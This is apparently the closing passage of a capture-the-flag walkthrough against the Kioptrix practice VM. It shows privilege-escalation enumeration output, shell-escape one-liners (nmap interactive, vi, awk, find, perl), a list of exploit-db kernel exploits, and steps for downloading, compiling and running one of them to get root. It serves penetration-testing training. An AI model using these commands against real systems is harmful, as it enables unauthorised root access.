mgetty-1.1.31-2 mingetty-1.07-3 minicom-2.00.0-19 mkbootdisk-1.5.2-1 mkinitrd-4.2.1.10-1.1 mktemp-1.5-20 mod_perl-1.99_16-4.centos4 mod_python-3.1.3-5.1 mod_ssl-2.0.52-32.ent.centos4 module-init-tools-3.1-0.pre5.3.4 mtools-3.9.9-9 mtr-0.54-10 mt-st-0.8-1 mx-2.0.5-3 MyODBC-2.50.39-25.RHEL4.1 mysql-4.1.22-2.el4 mysqlclient10-3.23.58-4.RHEL4.1 mysql-devel-4.1.22-2.el4 MySQL-python-1.2.1_p2-1.el4.1 mysql-server-4.1.22-2.el4 nano-1.2.4-1 ncurses-5.4-13 ncurses-devel-5.4-13 netconfig-0.8.21-1.1 netdump-0.7.16-10 net-snmp-libs-5.1.2-11.EL4.10 net-tools-1.60-37.EL4.9 NetworkManager-0.3.1-4.el4 newt-0.51.6-9.rhel4 newt-devel-0.51.6-9.rhel4 newt-perl-1.08-7 nfs-utils-1.0.6-80.EL4 nfs-utils-lib-1.0.6-8 nmap-3.70-1 nscd-2.3.4-2.36 nss_db-2.2-29 nss_ldap-226-18 ntp-4.2.0.a.20040617-6.el4 ntsysv-1.3.13.5.EL4-1 numactl-0.6.4-1.39 open-1.4-21 openib-1.1-7 OpenIPMI-1.4.14-1.4E.17 OpenIPMI-libs-1.4.14-1.4E.17 OpenIPMI-tools-1.4.14-1.4E.17 openldap-2.2.13-7.4E openldap-clients-2.2.13-7.4E openldap-devel-2.2.13-7.4E opensm-libs-2.0.0-7 openssh-3.9p1-8.RHEL4.20 openssh-clients-3.9p1-8.RHEL4.20 openssh-server-3.9p1-8.RHEL4.20 openssl-0.9.7a-43.16 openssl-devel-0.9.7a-43.16 oprofile-0.8.1-26 ORBit2-2.12.0-3 pam-0.77-66.21 pam_ccreds-3-3.rhel4.2 pam-devel-0.77-66.21 pam_krb5-2.1.8-1 pam_passwdqc-0.7.5-2 pam_smb-1.1.7-5 pango-1.6.0-9 parted-1.6.19-16.EL passwd-0.68-10.1 patch-2.5.4-20 patchutils-0.2.30-1 pax-3.0-9 pciutils-2.1.99.test8-3.4 pciutils-devel-2.1.99.test8-3.4 pcmcia-cs-3.2.7-3.5 pcre-4.5-3.2.RHEL4 pdksh-5.2.14-30.3 perl-5.8.5-36.RHEL4 perl-Convert-ASN1-0.18-3 perl-Crypt-SSLeay-0.51-5 perl-DBD-MySQL-2.9004-3.1 perl-DBI-1.40-8 perl-Filter-1.30-6 perl-HTML-Parser-3.35-6 perl-HTML-Tagset-3.03-30 perl-LDAP-0.31-5 perl-libwww-perl-5.79-5 perl-libxml-perl-0.07-30 perl-URI-1.30-4 perl-XML-Dumper-0.71-2 perl-XML-Encoding-1.01-26 perl-XML-Grove-0.46alpha-27 perl-XML-LibXML-1.58-1 perl-XML-LibXML-Common-0.13-7 perl-XML-NamespaceSupport-1.08-6 perl-XML-Parser-2.34-5 perl-XML-SAX-0.12-7 perl-XML-Twig-3.13-6 php-4.3.9-3.26 php-ldap-4.3.9-3.26 php-mysql-4.3.9-3.26 php-pear-4.3.9-3.26 pinfo-0.6.8-7 pkgconfig-0.15.0-3 policycoreutils-1.18.1-4.12 popt-1.9.1-22_nonptl portmap-4.0-63 ppp-2.4.2-6.4.RHEL4 prelink-0.3.3-0.EL4 procmail-3.22-14 procps-3.2.3-8.6 psacct-6.3.2-39.rhel4 psgml-1.2.5-4 psmisc-21.4-4.1 pstack-1.2-6 pygtk2-2.4.0-1 pygtk2-libglade-2.4.0-1 pyOpenSSL-0.6-1.p23 pyorbit-2.0.1-1 python-2.3.4-14.4 python-devel-2.3.4-14.4 python-elementtree-1.2.6-5.el4.centos python-ldap-2.0.1-2 python-sqlite-1.1.7-1.2.1 python-urlgrabber-2.9.8-2 pyxf86config-0.3.19-1 PyXML-0.8.3-6 qt-3.3.3-10.RHEL4 quota-3.12-6.el4 rcs-5.7-26 rdate-1.4-2 rdist-6.1.5-38.40.2 readline-4.3-13 readline-devel-4.3-13 redhat-logos-1.1.26-1.centos4.4 redhat-lsb-3.0-8.EL redhat-menus-3.7.1-2 redhat-rpm-config-8.0.32.1-4 rhnlib-2.1.1-3.el4 rhpl-0.148.5-1 rmt-0.4b39-3.EL4.2 rootfiles-8-1 rpm-4.3.3-22_nonptl rpm-build-4.3.3-22_nonptl rpmdb-CentOS-4.5-0.20070506 rpm-devel-4.3.3-22_nonptl rpm-libs-4.3.3-22_nonptl rpm-python-4.3.3-22_nonptl rp-pppoe-3.5-22 rsh-0.17-25.4 rsync-2.6.3-1 samba-client-3.0.10-1.4E.11 samba-common-3.0.10-1.4E.11 schedutils-1.4.0-2 screen-4.0.2-5 sed-4.1.2-6.el4 selinux-policy-targeted-1.17.30-2.145 sendmail-8.13.1-3.2.el4 setarch-1.6-1 setools-2.3-4 setserial-2.17-17 setup-2.5.37-1.3 setuptool-1.17-2 sgml-common-0.6.3-17 shadow-utils-4.0.3-61.RHEL4 shared-mime-info-0.15-10.1.el4 slang-1.4.9-8 slang-devel-1.4.9-8 slocate-2.7-13.el4.6 sox-12.17.5-3 specspo-9.0.92-1.3 splint-3.1.1-4 sqlite-3.3.6-2 squid-2.5.STABLE14-1.4E statserial-1.1-35 strace-4.5.15-1.el4.1 stunnel-4.05-3 sudo-1.6.7p5-30.1.3 swig-1.3.21-6 symlinks-1.2-22 sysfsutils-1.2.0-1 sysfsutils-devel-1.2.0-1 sysklogd-1.4.1-26_EL syslinux-2.11-1 sysreport-1.3.15-8 system-config-date-1.7.15-0.RHEL4.3 system-config-httpd-1.3.1-1 system-config-keyboard-1.2.5-1 system-config-language-1.1.8-4 system-config-mouse-1.2.9-1 system-config-network-1.3.22.0.EL.4.2-1 system-config-network-tui-1.3.22.0.EL.4.2-1 system-config-nfs-1.2.8-1 system-config-packages-1.2.23-1 system-config-rootpassword-1.1.6-1 system-config-securitylevel-1.4.19.2-1 system-config-securitylevel-tui-1.4.19.2-1 system-config-services-0.8.15-1 system-config-soundcard-1.2.10-2.EL4 system-config-users-1.2.27-0.EL4.4 system-logviewer-0.9.12-0.2 systemtap-0.5.12-1 systemtap-runtime-0.5.12-1 SysVinit-2.85-34.4 talk-0.17-26 tar-1.14-12.RHEL4 tcl-8.4.7-2 tclx-8.3.5-4 tcpdump-3.8.2-10.RHEL4 tcp_wrappers-7.6-37.2 tcsh-6.13-9.el4.1 telnet-0.17-31.EL4.3 termcap-5.4-3 texinfo-4.7-5.el4.2 time-1.7-25 tk-8.4.7-2 tmpwatch-2.9.1-1 tog-pegasus-2.5.1-2.EL4 tog-pegasus-devel-2.5.1-2.EL4 traceroute-1.4a12-24.EL4.1 ttmkfdir-3.0.9-20.el4 tux-3.2.18-2 tzdata-2007d-1.el4 udev-039-10.15.EL4 umb-scheme-3.2-36.EL4 unix2dos-2.2-24.1 unixODBC-2.2.11-1.RHEL4.1 unzip-5.51-9.EL4.5 up2date-4.5.5-5.centos4 urw-fonts-2.2-6.1 usbutils-0.11-7.RHEL4.1 usermode-1.74-2 usermode-gtk-1.74-2 utempter-0.5.5-5 util-linux-2.12a-16.EL4.25 valgrind-3.1.1-1.EL4 valgrind-callgrind-0.10.1-2.EL4 vconfig-1.8-4 vim-minimal-6.3.046-0.40E.7 vixie-cron-4.1-44.EL4 vsftpd-2.0.1-5.EL4.5 webalizer-2.01_10-25 wget-1.10.2-0.40E which-2.16-4 wireless-tools-28-0.pre16.3.3.EL4 wireshark-0.99.5-EL4.1 words-3.0-3.2 wpa_supplicant-0.4.9-1.1.el4 wvdial-1.54.0-3 Xaw3d-1.5-24 xdelta-1.1.3-15 xinetd-2.3.13-4.4E.1 xmlsec1-1.2.6-3 xmlsec1-openssl-1.2.6-3 xorg-x11-font-utils-6.8.2-1.EL.18 xorg-x11-libs-6.8.2-1.EL.18 xorg-x11-Mesa-libGL-6.8.2-1.EL.18 xorg-x11-xauth-6.8.2-1.EL.18 xorg-x11-xfs-6.8.2-1.EL.18 ypbind-1.17.2-13 yp-tools-2.8-7 yum-2.4.3-3.el4.centos zip-2.3-27 zlib-1.2.1.2-1.2 zlib-devel-1.2.1.2-1.2 zsh-4.2.0-4.EL.4.5 [+] Current processes USER PID START TIME COMMAND root 1 01:23 0:04 init root 2 01:23 0:00 [ksoftirqd/0] root 3 01:23 0:00 [events/0] root 4 01:23 0:00 [khelper] root 5 01:23 0:00 [kacpid] root 82 01:23 0:00 [kblockd/0] root 83 01:23 0:00 [khubd] root 100 01:23 0:00 [pdflush] root 101 01:23 0:00 [pdflush] root 102 01:23 0:00 [kswapd0] root 103 01:23 0:00 [aio/0] root 249 01:23 0:00 [kseriod] root 482 01:23 0:00 [ata/0] root 483 01:23 0:00 [ata_aux] root 498 01:23 0:00 [kjournald] root 1695 01:24 0:00 udevd root 1727 01:24 0:00 [shpchpd_event] root 1812 01:24 0:00 [kauditd] root 1923 01:24 0:00 [kjournald] root 2511 01:24 0:00 syslogd root 2515 01:24 0:00 klogd rpc 2542 01:24 0:00 portmap rpcuser 2561 01:24 0:00 rpc.statd root 2587 01:24 0:00 rpc.idmapd root 2659 01:24 0:00 /usr/sbin/acpid root 2720 01:24 0:00 /usr/sbin/sshd root 2756 01:24 0:00 xinetd root 2774 01:24 0:00 sendmail: smmsp 2784 01:24 0:00 sendmail: root 2794 01:24 0:00 gpm root 2803 01:24 0:00 crond xfs 2825 01:24 0:00 xfs root 2842 01:24 0:00 /usr/sbin/atd dbus 2851 01:24 0:00 dbus-daemon-1 root 2860 01:24 0:00 hald root 3115 01:24 0:00 dhclient root 3118 01:24 0:00 httpd root 3144 01:24 0:00 /bin/sh mysql 3197 01:24 0:01 /usr/libexec/mysqld root 3215 01:24 0:00 /sbin/mingetty root 3216 01:24 0:00 /sbin/mingetty root 3217 01:24 0:00 /sbin/mingetty root 3218 01:24 0:00 /sbin/mingetty root 3219 01:24 0:00 /sbin/mingetty root 3220 01:24 0:00 /sbin/mingetty root 4150 02:29 0:00 cupsd apache 4388 02:29 0:04 httpd apache 4393 02:29 0:04 httpd apache 4395 02:29 0:04 httpd apache 9499 02:36 0:03 httpd apache 9519 02:36 0:03 httpd apache 9532 02:36 0:03 httpd apache 9533 02:36 0:02 httpd apache 9536 02:36 0:03 httpd apache 9537 02:36 0:03 httpd apache 9538 02:36 0:03 httpd apache 9539 02:36 0:03 httpd apache 9543 02:36 0:03 httpd apache 9544 02:36 0:03 httpd apache 9562 02:48 0:00 httpd apache 9563 02:48 0:00 httpd apache 9564 02:48 0:00 httpd apache 9565 02:48 0:00 httpd apache 9569 02:48 0:00 httpd apache 9574 02:48 0:00 httpd apache 10155 02:48 0:00 httpd apache 12251 03:42 0:00 sh apache 12253 03:42 0:00 bash apache 12259 03:57 0:00 python apache 12389 03:57 0:00 sh sh: apache2: command not found sh: apache2ctl: command not found apache 12390 03:57 0:00 ps apache 12391 03:57 0:00 awk [+] Apache Version and Modules Server version: Apache/2.0.52 Server built: May 4 2007 06:25:03 Compiled in modules: core.c prefork.c http_core.c mod_so.c [+] Apache Config File [+] Sudo Version (Check out http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=sudo) Sudo version 1.6.7p5 [*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER... root 3217 01:24 0:00 /sbin/mingetty Possible Related Packages: mingetty-1.07-3 root 2756 01:24 0:00 xinetd Possible Related Packages: xinetd-2.3.13-4.4E.1 root 498 01:23 0:00 [kjournald] root 102 01:23 0:00 [kswapd0] root 3219 01:24 0:00 /sbin/mingetty Possible Related Packages: mingetty-1.07-3 root 2587 01:24 0:00 rpc.idmapd root 3144 01:24 0:00 /bin/sh root 3115 01:24 0:00 dhclient Possible Related Packages: dhclient-3.0.1-59.EL4 root 482 01:23 0:00 [ata/0] root 100 01:23 0:00 [pdflush] root 3220 01:24 0:00 /sbin/mingetty Possible Related Packages: mingetty-1.07-3 root 249 01:23 0:00 [kseriod] root 103 01:23 0:00 [aio/0] root 82 01:23 0:00 [kblockd/0] root 1812 01:24 0:00 [kauditd] root 5 01:23 0:00 [kacpid] root 2794 01:24 0:00 gpm Possible Related Packages: gpm-1.20.1-71.RHEL4 gpm-devel-1.20.1-71.RHEL4 root 83 01:23 0:00 [khubd] root 2860 01:24 0:00 hald root 4150 02:29 0:00 cupsd root 2515 01:24 0:00 klogd Possible Related Packages: sysklogd-1.4.1-26_EL root 2842 01:24 0:00 /usr/sbin/atd root 1695 01:24 0:00 udevd root 2803 01:24 0:00 crond root 2511 01:24 0:00 syslogd root 2 01:23 0:00 [ksoftirqd/0] root 3215 01:24 0:00 /sbin/mingetty Possible Related Packages: mingetty-1.07-3 root 101 01:23 0:00 [pdflush] root 483 01:23 0:00 [ata_aux] root 2774 01:24 0:00 sendmail: root 1923 01:24 0:00 [kjournald] root 3216 01:24 0:00 /sbin/mingetty Possible Related Packages: mingetty-1.07-3 root 4 01:23 0:00 [khelper] root 3218 01:24 0:00 /sbin/mingetty Possible Related Packages: mingetty-1.07-3 root 2720 01:24 0:00 /usr/sbin/sshd root 1727 01:24 0:00 [shpchpd_event] root 3118 01:24 0:00 httpd Possible Related Packages: httpd-2.0.52-32.ent.centos4 httpd-manual-2.0.52-32.ent.centos4 httpd-suexec-2.0.52-32.ent.centos4 system-config-httpd-1.3.1-1 root 1 01:23 0:04 init Possible Related Packages: initscripts-7.93.29.EL-1.centos4 mkinitrd-4.2.1.10-1.1 module-init-tools-3.1-0.pre5.3.4 SysVinit-2.85-34.4 root 2659 01:24 0:00 /usr/sbin/acpid Possible Related Packages: acpid-1.0.3-2 root 3 01:23 0:00 [events/0] [*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING... [+] Installed Tools /bin/awk /usr/bin/perl /usr/bin/python /usr/bin/gcc /usr/bin/cc /bin/vi /usr/bin/nmap /usr/bin/find /usr/bin/wget /usr/bin/ftp [+] Related Shell Escape Sequences... nmap--> --interactive vi--> :!bash vi--> :set shell=/bin/bash:shell awk--> awk 'BEGIN {system("/bin/bash")}' find--> find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ; perl--> perl -e 'exec "/bin/bash";' [*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS... Note: Exploits relying on a compile/scripting language not detected on this system are marked with a '**' but should still be tested! The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system - 2.6 UDEV < 141 Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/8572 || Language=c - 2.6 UDEV Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/8478 || Language=c - MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/1518 || Language=c The following exploits are applicable to this kernel version and should be investigated as well - Kernel ia32syscall Emulation Privilege Escalation || http://www.exploit-db.com/exploits/15023 || Language=c - 2.x sock_sendpage() Local Root Exploit 2 || http://www.exploit-db.com/exploits/9436 || Language=c - open-time Capability file_ns_capable() - Privilege Escalation Vulnerability || http://www.exploit-db.com/exploits/25307 || Language=c - 2.4/2.6 sock_sendpage() ring0 Root Exploit (simple ver) || http://www.exploit-db.com/exploits/9479 || Language=c - 2.6 UDEV < 141 Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/8572 || Language=c - 2.4/2.6 sock_sendpage() Local Root Exploit [2] || http://www.exploit-db.com/exploits/9598 || Language=c - open-time Capability file_ns_capable() Privilege Escalation || http://www.exploit-db.com/exploits/25450 || Language=c - CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit) || http://www.exploit-db.com/exploits/15944 || Language=c - 2.6.x ptrace_attach Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/8673 || Language=c - 2.x sock_sendpage() Local Ring0 Root Exploit || http://www.exploit-db.com/exploits/9435 || Language=c - 2.4/2.6 bluez Local Root Privilege Escalation Exploit (update) || http://www.exploit-db.com/exploits/926 || Language=c - CAP_SYS_ADMIN to root Exploit || http://www.exploit-db.com/exploits/15916 || Language=c - 2.4/2.6 sock_sendpage() Local Root Exploit (ppc) || http://www.exploit-db.com/exploits/9545 || Language=c - 2.6 UDEV Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/8478 || Language=c - MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/1518 || Language=c - Sendpage Local Privilege Escalation || http://www.exploit-db.com/exploits/19933 || Language=ruby** - 2.4/2.6 sock_sendpage() Local Root Exploit [3] || http://www.exploit-db.com/exploits/9641 || Language=c - 2.4.x / 2.6.x uselib() Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/895 || Language=c Finished =================================================================================================
Start the Nmap in the Kioptrix server.
nmap --interactive
!sh
id
pwd
6. Find the exploit method related to the Linux version 2.6.9-55.EL on the Exploit Database.
https://www.exploit-db.com/exploits/9542
Down load the exploit file to the Kali Linux and copy it to the /var/www/html folder.
Down load the exploit file to the /tmp folder on Kioptirx Server.
Build and execute the exploit file. Ahaaa! We get the root privilege now.
gcc 9542.c -o exploit
7. We can find more confidential information with root privilege.
8. Auto Pentest using the tool such as Metasploit pro is also a good choice.
